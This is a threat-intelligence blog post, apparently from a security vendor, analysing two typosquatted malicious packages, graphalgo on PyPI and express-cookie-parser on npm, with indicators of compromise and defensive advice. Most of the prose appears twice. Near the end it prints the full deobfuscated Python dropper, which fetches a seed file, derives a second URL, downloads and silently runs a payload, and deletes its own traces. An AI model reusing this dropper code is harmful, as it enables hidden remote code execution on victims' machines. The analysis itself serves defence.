Xygeni recently observed a concerning pattern in the landscape of software supply chain attacks in 2025, emerging across two popular package managers: PyPI and npm. As part of our ongoing threat intelligence efforts,Xygeni’s Malware Early Warning (MEW) tool identified a distinct but methodologically similar instance of a malicious package uploaded to another registry previously. This case highlights how threat actors are evolving and reusing attack techniques across ecosystems, especially through malicious Python packages and malicious npm packages, which increases the risk of malicious packages infiltrating open source supply chains.
Xygeni’s MEW: Spotting the Similarities
Xygeni’s MEW tool is built to detect and flag malicious packages, especially those linked to Software Supply Chain Attacks in 2025, as soon as they are published to open-source registries. It works by analyzing new packages for suspicious behavior.
In this instance, it identified two malicious Python packages (graphalgo
on PyPI) and malicious npm packages (express-cookie-parser
on npm).
Malicious Python and npm Packages in Software Supply Chain Attacks (2025)
Let’s explore the shared characteristics that triggered our alerts:
Typosquatting
They both tried to impersonate popular existing packages.
- graphalgo (PyPI): “Python package for creating and manipulating graphs and networks.” Uploaded by a user named “larrytech” on June 13, 2025, this package presented itself as a PyPi alternative to the original non-malicious graphalgo project, which was later renamed graphdict.
- express-cookie-parser (npm): This package imitated the well-known cookie-parser package, even mirroring its README.md. Such impersonation is a classic tactic to leverage existing trust.
Obfuscation as a First Line of Defense
Both packages obfuscated their malicious code within the original files. For graphalgo, the obfuscated code was found within /utils/load_libraries.py
. In the case of express-cookie-parser, cookie-loader.min.js
contained the obfuscated payload.
This initial layer of obfuscation is typically used to hinder casual inspection and static analysis. The obfuscation was fairly simple: repeated ZLib compression plus Base64 encoding. This type of obfuscation clearly indicates that the software is trying to conceal its behavior. Along with other evidence, this allowed Xygeni MEW to classify the packages as potential malware. During the confirmation stage, our reviewers promptly prepared a deobfuscation script that revealed the obviously malicious dropper stage.
Multi-Stage Payload Delivery and a Shared Origin Point
Both packages functioned as initial “droppers,” setting the stage for the real payload. They shared a common external “seed” file URL:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
This identical external seed file is a strong indicator of a shared threat actor. Interestingly, the content of this seed file appears to be simple environment variables (e.g., JWT_SECRET, PORT), potentially misleading inspection to its actual function.
Dynamic C2 Resolution with a DGA
A sophisticated tactic observed in these malicious packages is the use of a Domain Generation Algorithm (DGA) to resolve the Command and Control (C2) server dynamically. This technique, often seen in advanced software supply chain attacks in 2025, relies on a SHA256 hash derived from the seed file’s content, combined with other hardcoded values. By doing so, the C2 infrastructure changes frequently, making traditional blacklisting much less effective. In this case, the npm variant used a fixed value of 496AAC7E
as part of its DGA logic.
Establishing Persistence
Both attackers sought to establish a lasting presence on affected systems. Their strategy involved dropping a file, startup.py
(for PyPi) or startup.js
(for npm), into common Google Chrome user data directories across various operating systems (Windows, Linux, macOS).
Post-Execution Cleanup
To minimize traces, both malicious scripts performed cleanup operations. This included deleting their initial dropper files (load_libraries.py
, cookie-loader.min.js
) and modifying legitimate package files (__init__.py
, index.js
) to remove the references to the now-deleted components.
Indicators of Compromise in Malicious Python and npm Packages
- PyPI Package: graphalgo (published by larrytech, June 13, 2025)
- npm Package: express-cookie-parser (specifically version 1.4.12)
- Access to Shared Seed URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Persistent Filenames:
startup.py
(Python),startup.js
(JavaScript) - Common Persistent Paths (OS-dependent): Within Google Chrome user data directories (e.g.,
AppData\Local\Google\Chrome\UserData\Scripts\
on Windows,~/.config/google-chrome/Scripts/
on Linux, etc.).
How to Defend Against Malicious Packages in Software Supply Chain Attacks 2025
A Recommended Approach for Developers
This incident serves as a valuable case study in the evolving threat landscape of software supply chain attacks in 2025. It highlights how malicious Python packages and malicious npm packages can slip into trusted ecosystems, often evading detection until it’s too late. That’s why early detection, smart tooling, and proactive system hygiene are now essential parts of any secure DevOps workflow. Developers are encouraged to consider the following:
Dependency Review
If your projects have included graphalgo or express-cookie-parser, it would be prudent to proceed with their removal.
- For PyPI:
pip uninstall graphalgo
- For npm:
npm uninstall express-cookie-parser
System Hygiene
Consider conducting a comprehensive system scan. It’s also advisable to manually check the common Chrome user data directory paths for any unexpected startup.py
or startup.js
files.
Proactive Security Measures
- Assess New Dependencies: Establish a routine to thoroughly evaluate new packages before integration, focusing on those from unfamiliar publishers.
- Integrate Security Tools: Tools like Xygeni’s MEW, along with other Software Composition Analysis (SCA) solutions, can provide a critical layer of defense by identifying suspicious behaviors and vulnerabilities.
- Least Privilege: Operating development environments with the principle of least privilege can help limit the potential impact of a compromise.
- Network Awareness: Monitoring outbound network traffic for unusual connections can sometimes reveal DGA-generated C2 communications.
Key Components of load_libraries.py
(from graphalgo)
Xygeni recently observed a concerning pattern in the landscape of software supply chain attacks in 2025, emerging across two popular package managers: PyPI and npm. As part of our ongoing threat intelligence efforts, Xygeni’s Malware Early Warning (MEW) tool identified a distinct but methodologically similar instance of a malicious package uploaded to another registry previously. This case sheds light on how threat actors are evolving and reusing attack techniques across ecosystems, further underscoring the growing risk of malicious packages in open source supply chains.
Xygeni’s MEW: Spotting the Similarities
Xygeni’s MEW tool is built to detect and flag malicious packages, especially those linked to Software Supply Chain Attacks in 2025, as soon as they are published to open-source registries. It works by analyzing new packages for suspicious behavior.
In this instance, it identified two malicious Python packages (graphalgo
on PyPI) and malicious npm packages (express-cookie-parser
on npm).
Malicious Python and npm Packages in Software Supply Chain Attacks (2025)
Let’s explore the shared characteristics that triggered our alerts:
Typosquatting
They both tried to impersonate popular existing packages.
- graphalgo (PyPI): “Python package for creating and manipulating graphs and networks.” Uploaded by a user named “larrytech” on June 13, 2025, this package presented itself as a PyPi alternative to the original non-malicious graphalgo project, which was later renamed graphdict.
- express-cookie-parser (npm): This package imitated the well-known cookie-parser package, even mirroring its README.md. Such impersonation is a classic tactic to leverage existing trust.
Obfuscation as a First Line of Defense
Both packages obfuscated their malicious code within the original files. For graphalgo, the obfuscated code was found within /utils/load_libraries.py
. In the case of express-cookie-parser, cookie-loader.min.js
contained the obfuscated payload.
This initial layer of obfuscation is typically used to hinder casual inspection and static analysis. The obfuscation was fairly simple: repeated ZLib compression plus Base64 encoding. This type of obfuscation clearly indicates that the software is trying to conceal its behavior. Along with other evidence, this allowed Xygeni MEW to classify the packages as potential malware. During the confirmation stage, our reviewers promptly prepared a deobfuscation script that revealed the obviously malicious dropper stage.
Multi-Stage Payload Delivery and a Shared Origin Point
Both packages functioned as initial “droppers,” setting the stage for the real payload. They shared a common external “seed” file URL:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
This identical external seed file is a strong indicator of a shared threat actor. Interestingly, the content of this seed file appears to be simple environment variables (e.g., JWT_SECRET, PORT), potentially misleading inspection to its actual function.
Dynamic C2 Resolution with a DGA
A sophisticated tactic observed in these malicious packages is the use of a Domain Generation Algorithm (DGA) to resolve the Command and Control (C2) server dynamically. This technique, often seen in advanced software supply chain attacks in 2025, relies on a SHA256 hash derived from the seed file’s content, combined with other hardcoded values. By doing so, the C2 infrastructure changes frequently, making traditional blacklisting much less effective. In this case, the npm variant used a fixed value of 496AAC7E
as part of its DGA logic.
Establishing Persistence
Both attackers sought to establish a lasting presence on affected systems. Their strategy involved dropping a file, startup.py
(for PyPi) or startup.js
(for npm), into common Google Chrome user data directories across various operating systems (Windows, Linux, macOS).
Post-Execution Cleanup
To minimize traces, both malicious scripts performed cleanup operations. This included deleting their initial dropper files (load_libraries.py
, cookie-loader.min.js
) and modifying legitimate package files (__init__.py
, index.js
) to remove the references to the now-deleted components.
Indicators of Compromise in Malicious Python and npm Packages
- PyPI Package: graphalgo (published by larrytech, June 13, 2025)
- npm Package: express-cookie-parser (specifically version 1.4.12)
- Access to Shared Seed URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Persistent Filenames:
startup.py
(Python),startup.js
(JavaScript) - Common Persistent Paths (OS-dependent): Within Google Chrome user data directories (e.g.,
AppData\Local\Google\Chrome\UserData\Scripts\
on Windows,~/.config/google-chrome/Scripts/
on Linux, etc.).
How to Defend Against Malicious Packages in Software Supply Chain Attacks 2025
A Recommended Approach for Developers
This incident serves as a valuable case study in the evolving threat landscape of software supply chain attacks in 2025. It highlights how malicious packages can slip into trusted ecosystems, making early detection and proactive hygiene essential. Developers are encouraged to consider the following:
Dependency Review
If your projects have included graphalgo or express-cookie-parser, it would be prudent to proceed with their removal.
- For PyPI:
pip uninstall graphalgo
- For npm:
npm uninstall express-cookie-parser
System Hygiene
Consider conducting a comprehensive system scan. It’s also advisable to manually check the common Chrome user data directory paths for any unexpected startup.py
or startup.js
files.
Proactive Security Measures
- Assess New Dependencies: Establish a routine to thoroughly evaluate new packages before integration, focusing on those from unfamiliar publishers.
- Integrate Security Tools: Tools like Xygeni’s MEW, along with other Software Composition Analysis (SCA) solutions, can provide a critical layer of defense by identifying suspicious behaviors and vulnerabilities.
- Least Privilege: Operating development environments with the principle of least privilege can help limit the potential impact of a compromise.
- Network Awareness: Monitoring outbound network traffic for unusual connections can sometimes reveal DGA-generated C2 communications.
Key Components of load_libraries.py
(from graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content()
: Handles fetching files from specified URLs.run_process()
: Executes external Python scripts in a detached manner, suppressing output to remain discreet.get_output_file_path()
: Determines the ideal system location for the persistent startup.py file.remove_self()
: Orchestrates the post-execution cleanup of the initial malicious files and package modifications.simple_shift_encrypt()
/simple_shift_decrypt()
: Custom cryptographic functions for obscuring communication channels, crucial for the DGA implementation.load_libraries()
: The central function that coordinates the entire multi-stage process, from initial download to final payload execution and cleanup.